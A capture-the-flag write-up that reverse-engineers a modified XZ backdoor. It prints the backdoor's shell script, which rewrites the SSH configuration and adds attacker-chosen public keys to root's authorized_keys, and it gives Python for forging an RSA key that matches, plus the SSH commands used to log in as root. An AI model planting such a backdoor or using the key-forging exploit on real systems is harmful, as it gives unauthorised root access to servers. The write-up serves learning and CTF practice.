Category: rev

Solver: rgw, 3mb0, Greenscreen23, SchizophrenicFish2nds

Flag: GPNCTF{B4CKD00R3D_4G41N_d2d4ebde}

Writeup

This challenge is about a modified version of the XZ backdoor. There is a remote server with its SSH port exposed. We get a modified version of xz version 5.6.0.

We first check which files are different between the original xz and the modified version:

$ diff -r xz-old/xz-5.6.0/ xz-safe/xz-5.6.0/
Binary files xz-old/xz-5.6.0/tests/files/good-large_compressed.lzma and xz-safe/xz-5.6.0/tests/files/good-large_compressed.lzma differ

We follow the writeup at [1] to reverse engineer the backdoor.

After following the writeup for a few steps, we find an ELF binary x which differs from the binary from the original backdoor. We trace the binary in a container

$ strace -f -s 1000 ./x

The binary executes a lot of commands using execve, so we can gather its functionality. Most importantly, the binary executes the following shell script:

# Our SSH key ends with GPN, but only we have the key,
# so this is 100% safe to do because you can't choose a pubkey (right?)
update_keys() {
    mkdir -p /root/.ssh
    cat /tmp/log | 
        grep 'valid user root querying public key' |
        awk '{print $9 " " $10}' |
        sort | uniq |
        grep 'GPN$' > /root/.ssh/authorized_keys
}

add_logging() {
    echo "
PermitRootLogin prohibit-password
PasswordAuthentication no
LogLevel DEBUG3
    " > /etc/ssh/sshd_config
    sleep 5 # wait for the other ssh to be done
    service ssh stop
    sleep 0.5
    service ssh start -E/tmp/log
}

add_logging
while true; do
    update_keys
    sleep 2
done

We observe that the SSH configuration file is overwritten to increase logs. Every 0.5 seconds, the log file is checked and all SSH public keys ending in GPN are added to the /root/.ssh/authorized_keys. We therefore need to generate an SSH key that ends with GPN.

The last part of an SSH RSA key is the modulus (N). Since public keys are base64-encoded, we are constained on the last 18 bits of the modulus, call it k. Therefore, we need to find two primes such that we get such a modulus.

One way to do this is to find a prime p such that p = k (mod 2**18) and q = 1 (mod 2**18). Then N = k (mod 2**18). We generate two such primes with the following script:

from Crypto.Util.number import bytes_to_long, isPrime
from Crypto.Random import get_random_bytes
from base64 import b64decode

while True:
    p = bytes_to_long(get_random_bytes(65)+ b64decode('AGPN'))
    if isPrime(p):
        print(p)
        break

while True:
    q = bytes_to_long(get_random_bytes(65)+ b'\0\0\0\0\0\x01')
    if isPrime(q):
        print(q)
        break

After finding such primes, we use a script to create the SSH key:

#!/usr/bin/env python
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateNumbers, RSAPublicNumbers
from cryptography.hazmat.primitives.asymmetric.rsa import rsa_crt_dmp1, rsa_crt_dmq1, rsa_crt_iqmp
from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption, PublicFormat

p = 52089261461814294343052207411663901835239725993985074555595656586872668071104339081539736596211246222193422089562994996441108636897121756300250052372428632048559053
q = 916043358259808786218922685765288199794138105995812235399349895525652219190734698119143307578127769674409175891603263206428707126592572526848061644901731613036058951811073
N = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))

private_numbers = RSAPrivateNumbers(
        p=p,
        q=q,
        d=d,
        dmp1=rsa_crt_dmp1(d, p),
        dmq1=rsa_crt_dmq1(d, q),
        iqmp=rsa_crt_iqmp(p, q),
        public_numbers=RSAPublicNumbers(
            n=p * q,
            e=e,
        ),
    )
private_key = private_numbers.private_key()
public_key = private_key.public_key()

private_key_serialized = private_key.private_bytes(encoding=Encoding.PEM, format=PrivateFormat.OpenSSH, encryption_algorithm=NoEncryption())
public_key_serialized = public_key.public_bytes(encoding=Encoding.OpenSSH, format=PublicFormat.OpenSSH)
print(private_key_serialized)
print(public_key_serialized)

We place the private key into key.pem and run chmod 0600 key.pem to restrict the permissions of the key (else, connecting with OpenSSH fails).

Using the key, we can connect to the server:

$ socat TCP-LISTEN:2222,fork OPENSSL:xxx--xxx-1234.ctf.kitctf.de:443 &
$ ssh -i key-pem -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 2222 root@localhost

The first connection fails. However, a few seconds later, we try again:

$ ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 2222 root@localhost -i key.pem
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
root@localhost: Permission denied (publickey,keyboard-interactive).
$ ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 2222 root@localhost -i key.pem 
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@jenny-from-the-block--jennifer-lopez-4480:~# root@jenny-from-the-block--jennifer-lopez-4480:~# cat /flag.txt 
GPNCTF{B4CKD00R3D_4G41N_d2d4ebde}

References

  1. https://research.swtch.com/xz-script